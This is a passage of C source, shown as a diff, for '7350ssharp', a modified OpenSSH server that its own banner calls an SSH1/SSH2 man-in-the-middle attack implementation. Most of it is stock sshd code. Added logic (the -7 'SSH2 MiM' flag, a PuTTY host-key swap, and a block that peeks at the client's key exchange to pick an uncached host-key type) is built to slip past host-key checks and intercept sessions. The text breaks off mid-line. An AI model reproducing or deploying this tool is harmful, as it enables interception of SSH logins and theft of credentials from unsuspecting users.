side's version identification. */ + memset(buf, 0, sizeof(buf)); + for (i = 0; i < sizeof(buf) - 1; i++) { + if (atomicio(read, sock_in, &buf[i], 1) != 1) { + log("Did not receive identification string from %s.", + get_remote_ipaddr()); + fatal_cleanup(); + } + if (buf[i] == '\r') { + buf[i] = 0; + /* Kludge for F-Secure Macintosh < 1.0.2 */ + if (i == 12 && + strncmp(buf, "SSH-1.5-W1.0", 12) == 0) + break; + continue; + } + if (buf[i] == '\n') { + buf[i] = 0; + break; + } + } + buf[sizeof(buf) - 1] = 0; + client_version_string = xstrdup(buf); + + /* Hack for the PuTTY client */ + if (strstr(client_version_string, "PuTTY") && !SSH2_mim_cipher && SSH2_mim_only) { + log("PuTTY client"); + if (strstr(cbuf, "ssh-rsa,ssh-dss")) + SSH2_mim_cipher = strdup("ssh-dss"); + else if (strstr(cbuf, "ssh-dss,ssh-rsa")) + SSH2_mim_cipher = strdup("ssh-rsa"); + } + } + + /* + * Check that the versions match. In future this might accept + * several versions and set appropriate flags to handle them. + */ + if (sscanf(client_version_string, "SSH-%d.%d-%[^\n]\n", + &remote_major, &remote_minor, remote_version) != 3) { + s = "Protocol mismatch.\n"; + (void) atomicio(write, sock_out, s, strlen(s)); + close(sock_in); + close(sock_out); + log("Bad protocol version identification '%.100s' from %s", + client_version_string, get_remote_ipaddr()); + fatal_cleanup(); + } + debug("Client protocol version %d.%d; client software version %.100s", + remote_major, remote_minor, remote_version); + + compat_datafellows(remote_version); + + if (datafellows & SSH_BUG_SCANNER) { + log("scanned from %s with %s. Don't panic.", + get_remote_ipaddr(), client_version_string); + fatal_cleanup(); + } + + mismatch = 0; + switch(remote_major) { + case 1: + if (remote_minor == 99) { + if (options.protocol & SSH_PROTO_2) + enable_compat20(); + else + mismatch = 1; + break; + } + if (!(options.protocol & SSH_PROTO_1)) { + mismatch = 1; + break; + } + if (remote_minor < 3) { + packet_disconnect("Your ssh version is too old and " + "is no longer supported. Please install a newer version."); + } else if (remote_minor == 3) { + /* note that this disables agent-forwarding */ + enable_compat13(); + } + break; + case 2: + if (options.protocol & SSH_PROTO_2) { + enable_compat20(); + break; + } + /* FALLTHROUGH */ + default: + mismatch = 1; + break; + } + chop(server_version_string); + debug("Local version string %.200s", server_version_string); + + if (mismatch) { + s = "Protocol major versions differ.\n"; + (void) atomicio(write, sock_out, s, strlen(s)); + close(sock_in); + close(sock_out); + log("Protocol major versions differ for %s: %.200s vs. %.200s", + get_remote_ipaddr(), + server_version_string, client_version_string); + fatal_cleanup(); + } + if (compat20) + packet_set_ssh2_format(); +} + + +/* Destroy the host and server keys. They will no longer be needed. */ +void +destroy_sensitive_data(void) +{ + int i; + + if (sensitive_data.server_key) { + key_free(sensitive_data.server_key); + sensitive_data.server_key = NULL; + } + for(i = 0; i < options.num_host_key_files; i++) { + if (sensitive_data.host_keys[i]) { + key_free(sensitive_data.host_keys[i]); + sensitive_data.host_keys[i] = NULL; + } + } + sensitive_data.ssh1_host_key = NULL; + memset(sensitive_data.ssh1_cookie, 0, SSH_SESSION_KEY_LENGTH); +} + +char * +list_hostkey_types(void) +{ + static char buf[1024]; + int i; + buf[0] = '\0'; + for(i = 0; i < options.num_host_key_files; i++) { + Key *key = sensitive_data.host_keys[i]; + if (key == NULL) + continue; + switch(key->type) { + case KEY_RSA: + case KEY_DSA: + strlcat(buf, key_ssh_name(key), sizeof buf); + strlcat(buf, ",", sizeof buf); + break; + } + } + i = strlen(buf); + if (i > 0 && buf[i-1] == ',') + buf[i-1] = '\0'; + debug("list_hostkey_types: %s", buf); + return buf; +} + +Key * +get_hostkey_by_type(int type) +{ + int i; + for(i = 0; i < options.num_host_key_files; i++) { + Key *key = sensitive_data.host_keys[i]; + if (key != NULL && key->type == type) + return key; + } + return NULL; +} + +/* + * returns 1 if connection should be dropped, 0 otherwise. + * dropping starts at connection #max_startups_begin with a probability + * of (max_startups_rate/100). the probability increases linearly until + * all connections are dropped for startups > max_startups + */ +int +drop_connection(int startups) +{ + double p, r; + + if (startups < options.max_startups_begin) + return 0; + if (startups >= options.max_startups) + return 1; + if (options.max_startups_rate == 100) + return 1; + + p = 100 - options.max_startups_rate; + p *= startups - options.max_startups_begin; + p /= (double) (options.max_startups - options.max_startups_begin); + p += options.max_startups_rate; + p /= 100.0; + r = arc4random() / (double) UINT_MAX; + + debug("drop_connection: p %g, r %g", p, r); + return (r < p) ? 1 : 0; +} + +int *startup_pipes = NULL; /* options.max_startup sized array of fd ints */ +int startup_pipe; /* in child */ + + +/* + * Main program for the daemon. + */ +int +main(int ac, char **av) +{ + extern char *optarg; + extern int optind; + int opt, sock_in = 0, sock_out = 0, newsock, j, i, fdsetsz, on = 1; + pid_t pid; + socklen_t fromlen; + fd_set *fdset; + struct sockaddr_storage from; + const char *remote_ip; + int remote_port; + FILE *f; + struct linger linger; + struct addrinfo *ai; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + int listen_sock, maxfd; + int startup_p[2]; + int startups = 0; + Key *key; + int ret, key_used = 0; + char dummy; + + + fprintf(stderr, "\n\n" + "Dude, Stealth speaking here. This is 7350ssharp, a smart\n" + "SSH1 & SSH2 MiM attack implementation. It's for demonstration\n" + "and educational purposes ONLY! Think before you type ... ( or )\n\n"); + read(0, &dummy, 1); + + __progname = get_progname(av[0]); + init_rng(); + + /* Save argv. */ + saved_argc = ac; + saved_argv = av; + + /* Initialize configuration options to their default values. */ + initialize_server_options(&options); + + /* Parse command-line arguments. */ + while ((opt = getopt(ac, av, "f:p:b:k:h:g:V:u:dDeiqQ467")) != -1) { + switch (opt) { + case '7': + SSH2_mim_only = 1; + printf("Using special SSH2 MiM ...\n"); + break; + case '4': + IPv4or6 = AF_INET; + break; + case '6': + IPv4or6 = AF_INET6; + break; + case 'f': + config_file_name = optarg; + break; + case 'd': + if (0 == debug_flag) { + debug_flag = 1; + options.log_level = SYSLOG_LEVEL_DEBUG1; + } else if (options.log_level < SYSLOG_LEVEL_DEBUG3) { + options.log_level++; + } else { + fprintf(stderr, "Too high debugging level.\n"); + exit(1); + } + break; + case 'D': + no_daemon_flag = 1; + break; + case 'e': + log_stderr = 1; + break; + case 'i': + inetd_flag = 1; + break; + case 'Q': + /* ignored */ + break; + case 'q': + options.log_level = SYSLOG_LEVEL_QUIET; + break; + case 'b': + options.server_key_bits = atoi(optarg); + break; + case 'p': + options.ports_from_cmdline = 1; + if (options.num_ports >= MAX_PORTS) { + fprintf(stderr, "too many ports.\n"); + exit(1); + } + options.ports[options.num_ports++] = a2port(optarg); + if (options.ports[options.num_ports-1] == 0) { + fprintf(stderr, "Bad port number.\n"); + exit(1); + } + break; + case 'g': + options.login_grace_time = atoi(optarg); + break; + case 'k': + options.key_regeneration_time = atoi(optarg); + break; + case 'h': + if (options.num_host_key_files >= MAX_HOSTKEYS) { + fprintf(stderr, "too many host keys.\n"); + exit(1); + } + options.host_key_files[options.num_host_key_files++] = optarg; + break; + case 'V': + client_version_string = optarg; + /* only makes sense with inetd_flag, i.e. no listen() */ + inetd_flag = 1; + break; + case 'u': + utmp_len = atoi(optarg); + break; + case '?': + default: + fprintf(stderr, "sshd version %s\n", SSH_VERSION); + fprintf(stderr, "Usage: %s [options]\n", __progname); + fprintf(stderr, "Options:\n"); + fprintf(stderr, " -f file Configuration file (default %s)\n", _PATH_SERVER_CONFIG_FILE); + fprintf(stderr, " -d Debugging mode (multiple -d means more debugging)\n"); + fprintf(stderr, " -i Started from inetd\n"); + fprintf(stderr, " -D Do not fork into daemon mode\n"); + fprintf(stderr, " -q Quiet (no logging)\n"); + fprintf(stderr, " -p port Listen on the specified port (default: 22)\n"); + fprintf(stderr, " -k seconds Regenerate server key every this many seconds (default: 3600)\n"); + fprintf(stderr, " -g seconds Grace period for authentication (default: 600)\n"); + fprintf(stderr, " -b bits Size of server RSA key (default: 768 bits)\n"); + fprintf(stderr, " -h file File from which to read host key (default: %s)\n", + _PATH_HOST_KEY_FILE); + fprintf(stderr, " -u len Maximum hostname length for utmp recording\n"); + fprintf(stderr, " -4 Use IPv4 only\n"); + fprintf(stderr, " -6 Use IPv6 only\n"); + exit(1); + } + } + SSLeay_add_all_algorithms(); + + /* + * Force logging to stderr until we have loaded the private host + * key (unless started from inetd) + */ + log_init("ssharp", + options.log_level == -1 ? SYSLOG_LEVEL_INFO : options.log_level, + options.log_facility == -1 ? SYSLOG_FACILITY_AUTH : options.log_facility, + !inetd_flag); + + seed_rng(); + + /* Read server configuration options from the configuration file. */ + read_server_config(&options, config_file_name); + + /* Fill in default values for those options not explicitly set. */ + fill_default_server_options(&options); + + /* Check that there are no remaining arguments. */ + if (optind < ac) { + fprintf(stderr, "Extra argument %s.\n", av[optind]); + exit(1); + } + + debug("sshd version %.100s", SSH_VERSION); + + /* load private host keys */ + sensitive_data.host_keys = xmalloc(options.num_host_key_files*sizeof(Key*)); + for(i = 0; i < options.num_host_key_files; i++) + sensitive_data.host_keys[i] = NULL; + sensitive_data.server_key = NULL; + sensitive_data.ssh1_host_key = NULL; + sensitive_data.have_ssh1_key = 0; + sensitive_data.have_ssh2_key = 0; + + for(i = 0; i < options.num_host_key_files; i++) { + key = key_load_private(options.host_key_files[i], "", NULL); + sensitive_data.host_keys[i] = key; + if (key == NULL) { + error("Could not load host key: %s", + options.host_key_files[i]); + sensitive_data.host_keys[i] = NULL; + continue; + } + switch(key->type){ + case KEY_RSA1: + sensitive_data.ssh1_host_key = key; + sensitive_data.have_ssh1_key = 1; + break; + case KEY_RSA: + case KEY_DSA: + sensitive_data.have_ssh2_key = 1; + break; + } + debug("private host key: #%d type %d %s", i, key->type, + key_type(key)); + } + if ((options.protocol & SSH_PROTO_1) && !sensitive_data.have_ssh1_key) { + log("Disabling protocol version 1. Could not load host key"); + options.protocol &= ~SSH_PROTO_1; + } + if ((options.protocol & SSH_PROTO_2) && !sensitive_data.have_ssh2_key) { + log("Disabling protocol version 2. Could not load host key"); + options.protocol &= ~SSH_PROTO_2; + } + if (!(options.protocol & (SSH_PROTO_1|SSH_PROTO_2))) { + log("sshd: no hostkeys available -- exiting."); + exit(1); + } + + /* Check certain values for sanity. */ + if (options.protocol & SSH_PROTO_1) { + if (options.server_key_bits < 512 || + options.server_key_bits > 32768) { + fprintf(stderr, "Bad server key size.\n"); + exit(1); + } + /* + * Check that server and host key lengths differ sufficiently. This + * is necessary to make double encryption work with rsaref. Oh, I + * hate software patents. I dont know if this can go? Niels + */ + if (options.server_key_bits > + BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) - SSH_KEY_BITS_RESERVED && + options.server_key_bits < + BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED) { + options.server_key_bits = + BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED; + debug("Forcing server key to %d bits to make it differ from host key.", + options.server_key_bits); + } + } + +#ifdef HAVE_SCO_PROTECTED_PW + (void) set_auth_parameters(ac, av); +#endif + + /* Initialize the log (it is reinitialized below in case we forked). */ + if (debug_flag && !inetd_flag) + log_stderr = 1; + log_init(__progname, options.log_level, options.log_facility, log_stderr); + + /* + * If not in debugging mode, and not started from inetd, disconnect + * from the controlling terminal, and fork. The original process + * exits. + */ + if (!(debug_flag || inetd_flag || no_daemon_flag)) { +#ifdef TIOCNOTTY + int fd; +#endif /* TIOCNOTTY */ + if (daemon(0, 0) < 0) + fatal("daemon() failed: %.200s", strerror(errno)); + + /* Disconnect from the controlling tty. */ +#ifdef TIOCNOTTY + fd = open(_PATH_TTY, O_RDWR | O_NOCTTY); + if (fd >= 0) { + (void) ioctl(fd, TIOCNOTTY, NULL); + close(fd); + } +#endif /* TIOCNOTTY */ + } + /* Reinitialize the log (because of the fork above). */ + log_init("ssharp", options.log_level, options.log_facility, log_stderr); + + /* Initialize the random number generator. */ + arc4random_stir(); + + /* Chdir to the root directory so that the current disk can be + unmounted if desired. */ + chdir("/"); + + /* ignore SIGPIPE */ + signal(SIGPIPE, SIG_IGN); + + /* Start listening for a socket, unless started from inetd. */ + if (inetd_flag) { + int s1; + s1 = dup(0); /* Make sure descriptors 0, 1, and 2 are in use. */ + dup(s1); + sock_in = dup(0); + sock_out = dup(1); + startup_pipe = -1; + /* + * We intentionally do not close the descriptors 0, 1, and 2 + * as our code for setting the descriptors won\'t work if + * ttyfd happens to be one of those. + */ + debug("inetd sockets after dupping: %d, %d", sock_in, sock_out); + if (options.protocol & SSH_PROTO_1) + generate_ephemeral_server_key(); + } else { + for (ai = options.listen_addrs; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (num_listen_socks >= MAX_LISTEN_SOCKS) + fatal("Too many listen sockets. " + "Enlarge MAX_LISTEN_SOCKS"); + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, + ntop, sizeof(ntop), strport, sizeof(strport), + NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("getnameinfo failed"); + continue; + } + /* Create socket for listening. */ + listen_sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (listen_sock < 0) { + /* kernel may not support ipv6 */ + verbose("socket: %.100s", strerror(errno)); + continue; + } + if (fcntl(listen_sock, F_SETFL, O_NONBLOCK) < 0) { + error("listen_sock O_NONBLOCK: %s", strerror(errno)); + close(listen_sock); + continue; + } + /* + * Set socket options. We try to make the port + * reusable and have it close as fast as possible + * without waiting in unnecessary wait states on + * close. + */ + setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, + (void *) &on, sizeof(on)); + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(listen_sock, SOL_SOCKET, SO_LINGER, + (void *) &linger, sizeof(linger)); + + debug("Bind to port %s on %s.", strport, ntop); + + /* Bind the socket to the desired port. */ + if (bind(listen_sock, ai->ai_addr, ai->ai_addrlen) < 0) { + if (!ai->ai_next) + error("Bind to port %s on %s failed: %.200s.", + strport, ntop, strerror(errno)); + close(listen_sock); + continue; + } + listen_socks[num_listen_socks] = listen_sock; + num_listen_socks++; + + /* Start listening on the port. */ + log("Server listening on %s port %s.", ntop, strport); + if (listen(listen_sock, 5) < 0) + fatal("listen: %.100s", strerror(errno)); + + } + freeaddrinfo(options.listen_addrs); + + if (!num_listen_socks) + fatal("Cannot bind any address."); + + if (!debug_flag) { + /* + * Record our pid in /var/run/sshd.pid to make it + * easier to kill the correct sshd. We don't want to + * do this before the bind above because the bind will + * fail if there already is a daemon, and this will + * overwrite any old pid in the file. + */ + f = fopen(options.pid_file, "wb"); + if (f) { + fprintf(f, "%u\n", (u_int) getpid()); + fclose(f); + } + } + if (options.protocol & SSH_PROTO_1) + generate_ephemeral_server_key(); + + /* Arrange to restart on SIGHUP. The handler needs listen_sock. */ + signal(SIGHUP, sighup_handler); + + signal(SIGTERM, sigterm_handler); + signal(SIGQUIT, sigterm_handler); + + /* Arrange SIGCHLD to be caught. */ + signal(SIGCHLD, main_sigchld_handler); + + /* setup fd set for listen */ + fdset = NULL; + maxfd = 0; + for (i = 0; i < num_listen_socks; i++) + if (listen_socks[i] > maxfd) + maxfd = listen_socks[i]; + /* pipes connected to unauthenticated childs */ + startup_pipes = xmalloc(options.max_startups * sizeof(int)); + for (i = 0; i < options.max_startups; i++) + startup_pipes[i] = -1; + + /* + * Stay listening for connections until the system crashes or + * the daemon is killed with a signal. + */ + for (;;) { + if (received_sighup) + sighup_restart(); + if (fdset != NULL) + xfree(fdset); + fdsetsz = howmany(maxfd+1, NFDBITS) * sizeof(fd_mask); + fdset = (fd_set *)xmalloc(fdsetsz); + memset(fdset, 0, fdsetsz); + + for (i = 0; i < num_listen_socks; i++) + FD_SET(listen_socks[i], fdset); + for (i = 0; i < options.max_startups; i++) + if (startup_pipes[i] != -1) + FD_SET(startup_pipes[i], fdset); + + /* Wait in select until there is a connection. */ + ret = select(maxfd+1, fdset, NULL, NULL, NULL); + if (ret < 0 && errno != EINTR) + error("select: %.100s", strerror(errno)); + if (key_used && key_do_regen) { + generate_ephemeral_server_key(); + key_used = 0; + key_do_regen = 0; + } + if (ret < 0) + continue; + + for (i = 0; i < options.max_startups; i++) + if (startup_pipes[i] != -1 && + FD_ISSET(startup_pipes[i], fdset)) { + /* + * the read end of the pipe is ready + * if the child has closed the pipe + * after successful authentication + * or if the child has died + */ + close(startup_pipes[i]); + startup_pipes[i] = -1; + startups--; + } + for (i = 0; i < num_listen_socks; i++) { + if (!FD_ISSET(listen_socks[i], fdset)) + continue; + fromlen = sizeof(from); + newsock = accept(listen_socks[i], (struct sockaddr *)&from, + &fromlen); + if (newsock < 0) { + if (errno != EINTR && errno != EWOULDBLOCK) + error("accept: %.100s", strerror(errno)); + continue; + } + if (fcntl(newsock, F_SETFL, 0) < 0) { + error("newsock del O_NONBLOCK: %s", strerror(errno)); + continue; + } + if (drop_connection(startups) == 1) { + debug("drop connection #%d", startups); + close(newsock); + continue; + } + if (pipe(startup_p) == -1) { + close(newsock); + continue; + } + + for (j = 0; j < options.max_startups; j++) + if (startup_pipes[j] == -1) { + startup_pipes[j] = startup_p[0]; + if (maxfd < startup_p[0]) + maxfd = startup_p[0]; + startups++; + break; + } + + /* + * Got connection. Fork a child to handle it, unless + * we are in debugging mode. + */ + if (debug_flag) { + /* + * In debugging mode. Close the listening + * socket, and start processing the + * connection without forking. + */ + debug("Server will not fork when running in debugging mode."); + close_listen_socks(); + sock_in = newsock; + sock_out = newsock; + startup_pipe = -1; + pid = getpid(); + break; + } else { + /* + * Normal production daemon. Fork, and have + * the child process the connection. The + * parent continues listening. + */ + if ((pid = fork()) == 0) { + /* + * Child. Close the listening and max_startup + * sockets. Start using the accepted socket. + * Reinitialize logging (since our pid has + * changed). We break out of the loop to handle + * the connection. + */ + startup_pipe = startup_p[1]; + for (j = 0; j < options.max_startups; j++) + if (startup_pipes[j] != -1) + close(startup_pipes[j]); + close_listen_socks(); + sock_in = newsock; + sock_out = newsock; + log_init(__progname, options.log_level, options.log_facility, log_stderr); + break; + } + } + + /* Parent. Stay in the loop. */ + if (pid < 0) + error("fork: %.100s", strerror(errno)); + else + debug("Forked child %d.", pid); + + close(startup_p[1]); + + /* Mark that the key has been used (it was "given" to the child). */ + if ((options.protocol & SSH_PROTO_1) && + key_used == 0) { + /* Schedule server key regeneration alarm. */ + signal(SIGALRM, key_regeneration_alarm); + alarm(options.key_regeneration_time); + key_used = 1; + } + + arc4random_stir(); + + /* Close the new socket (the child is now taking care of it). */ + close(newsock); + } + /* child process check (or debug mode) */ + if (num_listen_socks < 0) + break; + } + } + + /* This is the child processing a new connection. */ + + /* + * Disable the key regeneration alarm. We will not regenerate the + * key since we are no longer in a position to give it to anyone. We + * will not restart on SIGHUP since it no longer makes sense. + */ + alarm(0); + signal(SIGALRM, SIG_DFL); + signal(SIGHUP, SIG_DFL); + signal(SIGTERM, SIG_DFL); + signal(SIGQUIT, SIG_DFL); + signal(SIGCHLD, SIG_DFL); + signal(SIGINT, SIG_DFL); + + /* + * Set socket options for the connection. We want the socket to + * close as fast as possible without waiting for anything. If the + * connection is not a socket, these will do nothing. + */ + /* setsockopt(sock_in, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */ + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock_in, SOL_SOCKET, SO_LINGER, (void *) &linger, sizeof(linger)); + + /* Set keepalives if requested. */ + if (options.keepalives && + setsockopt(sock_in, SOL_SOCKET, SO_KEEPALIVE, (void *)&on, + sizeof(on)) < 0) + error("setsockopt SO_KEEPALIVE: %.100s", strerror(errno)); + + /* + * Register our connection. This turns encryption off because we do + * not have a key. + */ + packet_set_connection(sock_in, sock_out); + + remote_port = get_remote_port(); + remote_ip = get_remote_ipaddr(); + + /* Check whether logins are denied from this host. */ +#ifdef LIBWRAP + /* XXX LIBWRAP noes not know about IPv6 */ + { + struct request_info req; + + request_init(&req, RQ_DAEMON, __progname, RQ_FILE, sock_in, NULL); + fromhost(&req); + + if (!hosts_access(&req)) { + refuse(&req); + close(sock_in); + close(sock_out); + } +/*XXX IPv6 verbose("Connection from %.500s port %d", eval_client(&req), remote_port); */ + } +#endif /* LIBWRAP */ + /* Log the connection. */ + verbose("Connection from %.500s port %d", remote_ip, remote_port); + + /* + * We don\'t want to listen forever unless the other side + * successfully authenticates itself. So we set up an alarm which is + * cleared after successful authentication. A limit of zero + * indicates no limit. Note that we don\'t set the alarm in debugging + * mode; it is just annoying to have the server exit just when you + * are about to discover the bug. + */ + signal(SIGALRM, grace_alarm_handler); + if (!debug_flag) + alarm(options.login_grace_time); + + sshd_exchange_identification(sock_in, sock_out); + +#ifdef KRB4 + if (!packet_connection_is_ipv4() && + options.kerberos_authentication) { + debug("Kerberos Authentication disabled, only available for IPv4."); + options.kerberos_authentication = 0; + } +#endif /* KRB4 */ +#ifdef AFS + /* If machine has AFS, set process authentication group. */ + if (k_hasafs()) { + k_setpag(); + k_unlog(); + } +#endif /* AFS */ + + packet_set_nonblocking(); + + /* perform the key exchange */ + /* authenticate user and start session */ + if (compat20) { + do_ssh2_kex(); + do_authentication2(); + } else { + do_ssh1_kex(); + do_authentication(); + } + +#ifdef KRB4 + /* Cleanup user's ticket cache file. */ + if (options.kerberos_ticket_cleanup) + (void) dest_tkt(); +#endif /* KRB4 */ + + /* The connection has been terminated. */ + verbose("Closing connection to %.100s", remote_ip); + + + packet_close(); + exit(0); +} + +/* + * SSH1 key exchange + */ +void +do_ssh1_kex(void) +{ + int i, len; + int plen, slen; + int rsafail = 0; + BIGNUM *session_key_int; + u_char session_key[SSH_SESSION_KEY_LENGTH]; + u_char cookie[8]; + u_int cipher_type, auth_mask, protocol_flags; + u_int32_t rand = 0; + + /* + * Generate check bytes that the client must send back in the user + * packet in order for it to be accepted; this is used to defy ip + * spoofing attacks. Note that this only works against somebody + * doing IP spoofing from a remote machine; any machine on the local + * network can still see outgoing packets and catch the random + * cookie. This only affects rhosts authentication, and this is one + * of the reasons why it is inherently insecure. + */ + for (i = 0; i < 8; i++) { + if (i % 4 == 0) + rand = arc4random(); + cookie[i] = rand & 0xff; + rand >>= 8; + } + + /* + * Send our public key. We include in the packet 64 bits of random + * data that must be matched in the reply in order to prevent IP + * spoofing. + */ + packet_start(SSH_SMSG_PUBLIC_KEY); + for (i = 0; i < 8; i++) + packet_put_char(cookie[i]); + + /* Store our public server RSA key. */ + packet_put_int(BN_num_bits(sensitive_data.server_key->rsa->n)); + packet_put_bignum(sensitive_data.server_key->rsa->e); + packet_put_bignum(sensitive_data.server_key->rsa->n); + + /* Store our public host RSA key. */ + packet_put_int(BN_num_bits(sensitive_data.ssh1_host_key->rsa->n)); + packet_put_bignum(sensitive_data.ssh1_host_key->rsa->e); + packet_put_bignum(sensitive_data.ssh1_host_key->rsa->n); + + /* Put protocol flags. */ + packet_put_int(SSH_PROTOFLAG_HOST_IN_FWD_OPEN); + + /* Declare which ciphers we support. */ + packet_put_int(cipher_mask_ssh1(0)); + + /* Declare supported authentication types. */ + auth_mask = 0; + if (options.rhosts_authentication) + auth_mask |= 1 << SSH_AUTH_RHOSTS; + if (options.rhosts_rsa_authentication) + auth_mask |= 1 << SSH_AUTH_RHOSTS_RSA; + if (options.rsa_authentication) + auth_mask |= 1 << SSH_AUTH_RSA; +#ifdef KRB4 + if (options.kerberos_authentication) + auth_mask |= 1 << SSH_AUTH_KERBEROS; +#endif +#ifdef AFS + if (options.kerberos_tgt_passing) + auth_mask |= 1 << SSH_PASS_KERBEROS_TGT; + if (options.afs_token_passing) + auth_mask |= 1 << SSH_PASS_AFS_TOKEN; +#endif + if (options.challenge_reponse_authentication == 1) + auth_mask |= 1 << SSH_AUTH_TIS; + if (options.password_authentication) + auth_mask |= 1 << SSH_AUTH_PASSWORD; + packet_put_int(auth_mask); + + /* Send the packet and wait for it to be sent. */ + packet_send(); + packet_write_wait(); + + debug("Sent %d bit server key and %d bit host key.", + BN_num_bits(sensitive_data.server_key->rsa->n), + BN_num_bits(sensitive_data.ssh1_host_key->rsa->n)); + + /* Read clients reply (cipher type and session key). */ + packet_read_expect(&plen, SSH_CMSG_SESSION_KEY); + + /* Get cipher type and check whether we accept this. */ + cipher_type = packet_get_char(); + + if (!(cipher_mask_ssh1(0) & (1 << cipher_type))) + packet_disconnect("Warning: client selects unsupported cipher."); + + /* Get check bytes from the packet. These must match those we + sent earlier with the public key packet. */ + for (i = 0; i < 8; i++) + if (cookie[i] != packet_get_char()) + packet_disconnect("IP Spoofing check bytes do not match."); + + debug("Encryption type: %.200s", cipher_name(cipher_type)); + + /* Get the encrypted integer. */ + session_key_int = BN_new(); + packet_get_bignum(session_key_int, &slen); + + protocol_flags = packet_get_int(); + packet_set_protocol_flags(protocol_flags); + + packet_integrity_check(plen, 1 + 8 + slen + 4, SSH_CMSG_SESSION_KEY); + + /* + * Decrypt it using our private server key and private host key (key + * with larger modulus first). + */ + if (BN_cmp(sensitive_data.server_key->rsa->n, sensitive_data.ssh1_host_key->rsa->n) > 0) { + /* Server key has bigger modulus. */ + if (BN_num_bits(sensitive_data.server_key->rsa->n) < + BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED) { + fatal("do_connection: %s: server_key %d < host_key %d + SSH_KEY_BITS_RESERVED %d", + get_remote_ipaddr(), + BN_num_bits(sensitive_data.server_key->rsa->n), + BN_num_bits(sensitive_data.ssh1_host_key->rsa->n), + SSH_KEY_BITS_RESERVED); + } + if (rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.server_key->rsa) <= 0) + rsafail++; + if (rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.ssh1_host_key->rsa) <= 0) + rsafail++; + } else { + /* Host key has bigger modulus (or they are equal). */ + if (BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) < + BN_num_bits(sensitive_data.server_key->rsa->n) + SSH_KEY_BITS_RESERVED) { + fatal("do_connection: %s: host_key %d < server_key %d + SSH_KEY_BITS_RESERVED %d", + get_remote_ipaddr(), + BN_num_bits(sensitive_data.ssh1_host_key->rsa->n), + BN_num_bits(sensitive_data.server_key->rsa->n), + SSH_KEY_BITS_RESERVED); + } + if (rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.ssh1_host_key->rsa) < 0) + rsafail++; + if (rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.server_key->rsa) < 0) + rsafail++; + } + /* + * Extract session key from the decrypted integer. The key is in the + * least significant 256 bits of the integer; the first byte of the + * key is in the highest bits. + */ + if (!rsafail) { + BN_mask_bits(session_key_int, sizeof(session_key) * 8); + len = BN_num_bytes(session_key_int); + if (len < 0 || len > sizeof(session_key)) { + error("do_connection: bad session key len from %s: " + "session_key_int %d > sizeof(session_key) %lu", + get_remote_ipaddr(), len, (u_long)sizeof(session_key)); + rsafail++; + } else { + memset(session_key, 0, sizeof(session_key)); + BN_bn2bin(session_key_int, + session_key + sizeof(session_key) - len); + + compute_session_id(session_id, cookie, + sensitive_data.ssh1_host_key->rsa->n, + sensitive_data.server_key->rsa->n); + /* + * Xor the first 16 bytes of the session key with the + * session id. + */ + for (i = 0; i < 16; i++) + session_key[i] ^= session_id[i]; + } + } + if (rsafail) { + int bytes = BN_num_bytes(session_key_int); + char *buf = xmalloc(bytes); + MD5_CTX md; + + log("do_connection: generating a fake encryption key"); + BN_bn2bin(session_key_int, buf); + MD5_Init(&md); + MD5_Update(&md, buf, bytes); + MD5_Update(&md, sensitive_data.ssh1_cookie, SSH_SESSION_KEY_LENGTH); + MD5_Final(session_key, &md); + MD5_Init(&md); + MD5_Update(&md, session_key, 16); + MD5_Update(&md, buf, bytes); + MD5_Update(&md, sensitive_data.ssh1_cookie, SSH_SESSION_KEY_LENGTH); + MD5_Final(session_key + 16, &md); + memset(buf, 0, bytes); + xfree(buf); + for (i = 0; i < 16; i++) + session_id[i] = session_key[i] ^ session_key[i + 16]; + } + /* Destroy the private and public keys. They will no longer be needed. */ + destroy_sensitive_data(); + + /* Destroy the decrypted integer. It is no longer needed. */ + BN_clear_free(session_key_int); + + /* Set the session key. From this on all communications will be encrypted. */ + packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, cipher_type); + + /* Destroy our copy of the session key. It is no longer needed. */ + memset(session_key, 0, sizeof(session_key)); + + debug("Received session key; encryption turned on."); + + /* Send an acknowledgement packet. Note that this packet is sent encrypted. */ + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); +} + +extern char *client_supported_host_algos; + +/* + * SSH2 key exchange: diffie-hellman-group1-sha1 + */ +void +do_ssh2_kex(void) +{ + Kex *kex; + int fd = 0; + + if (options.ciphers != NULL) { + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers; + } + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]); + myproposal[PROPOSAL_ENC_ALGS_STOC] = + compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_STOC]); + + if (options.macs != NULL) { + myproposal[PROPOSAL_MAC_ALGS_CTOS] = + myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs; + } + //SSHARP + if (SSH2_mim_only && SSH2_mim_cipher) { + myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = strdup(SSH2_mim_cipher); + } else if (SSH2_mim_only) { + int r = 0; + char buf[1024]; + fd = packet_get_connection_in(); + + do { + r = recvfrom(fd,buf, sizeof(buf), MSG_PEEK, NULL, NULL); + } while (r < 0 && errno == EAGAIN); + + /* Kill 0-bytes */ + buf[r] = 0; --r; + for (; r >= 0; --r) { + if (buf[r] == 0) + buf[r] = 'X'; + } + if (strstr(buf, 